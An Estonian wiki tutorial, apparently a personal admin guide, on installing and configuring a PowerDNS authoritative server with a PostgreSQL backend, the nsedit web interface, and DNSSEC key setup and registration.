PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
